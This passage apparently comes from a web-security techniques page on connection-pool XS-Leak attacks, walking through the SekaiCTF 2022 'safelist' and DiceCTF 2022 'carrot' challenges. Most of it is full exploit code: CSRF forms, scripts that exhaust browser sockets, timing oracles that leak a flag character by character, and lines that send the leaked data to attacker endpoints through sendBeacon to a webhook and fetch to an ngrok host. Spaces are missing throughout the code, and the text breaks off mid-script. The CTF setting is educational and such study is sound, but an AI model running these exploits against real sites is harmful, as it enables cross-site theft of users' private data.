In the Sekaictf2022 - safelist challenge, @Strellic_ gives an example of how to use a variation of the Connection Pool technique to perform a XS-Leak.
In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:
The bot will visit a URL given by the attacker
The attacker can inject HTML in the page (but no JS, dompurify is used) abusing a CSRF making the bot create a post with that HTML.
The attacker can abuse a CSRF to make the botdelete the firstpost inside the web.
Because the posts are ordered alphabetically, when the first post is deleted, if the HTML content of the attacker is loaded means that it was alphabetically before the flag.
Therefore, to steal the flag, the solution proposed by @Strellyc_ is to, for each char to test make the bot:
Create a new post that starts with the known part of the flag and several imgloads.
Delete the post in position 0.
Block 255 sockets.
Load the page with the posts
Perform 5 random requests to a site (example.com in this case) and measure the time this takes.
If the deleted post was the flag, this means that all the imagesinjected in the HTML are going to be fighting with the 5 random requests for that unblocked socket. Which means that the time measured is going to be bigger than the other scenario.
If the deleted post was the HTML, the 5 random requests will be faster because they don't need to fight for that socket with the HTML injected.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"> <inputtype="text"name="text" /> <inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"> <inputtype="text"name="index"value="0" /> <inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload); }// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) { alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1))); }// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) { payload +=`<img src=js/purify.js?${i.toString(36)}>`; }// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`; constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal }); }catch(err) {} };// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller); }// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }) ]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta); }return deltas; };// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas) }// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas) } } };window.onload=async () => {pwn(); };</script>
<!DOCTYPEhtml><html><!-- The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster. By using a well-crafted height, we can let note with "A" load image but note with "Z" not load. We can use fetch to measure the request time.--><body> <buttononclick="run()">start</button> <formid=faction="http://localhost:1234/create"method="POST"target="_blank"> <inputid=inpname="text"value=""> </form> <formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"> <inputid=inp2name="index"value=""> </form> <script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M } else {R=M-1 } }// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c) flag += cbreak } } },0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold. */ inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve) },500) }) }asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET) }let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', { mode:'no-cors' }).catch(err=>1)let end =performance.now() t += end - sconsole.log(end - s) }constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */constisFound= (t >=1000)if (isFound) {inp2.value ="0" } else {inp2.value ="1" }// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound) },200) },200) } </script></body></html>
DiceCTF 2022 - carrot
In this case the first step of the exploit was to abuse a CSRF to modify the page where the flag is contained so it has much more content (and therefore loading it takes more time), and then abuse the connection pool to measure the time it takes to access the page that could be potentially having the flag.
In the exploit you can see:
Abuse CSRF
Occupy all the sockets but 1
Calibrate the response
Start bruteforcing by accessing the potential page with the flag
The potential page will be accessed and immediately an attackers controlled URL will also be accessed to check how much time both requests take.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"> <inputtype="text"name="title"placeholder="title"> <br><br> <inputtype="number"name="priority"placeholder="priority"value=9999> <br><br> <textareaname="content"placeholder="content"rows="5"cols="20"></textarea> <br><br> <inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms); });}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, { mode:'no-cors' }); } catch (e) {console.log(e); }let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, { mode:'no-cors' });}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, { mode:'no-cors' });}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <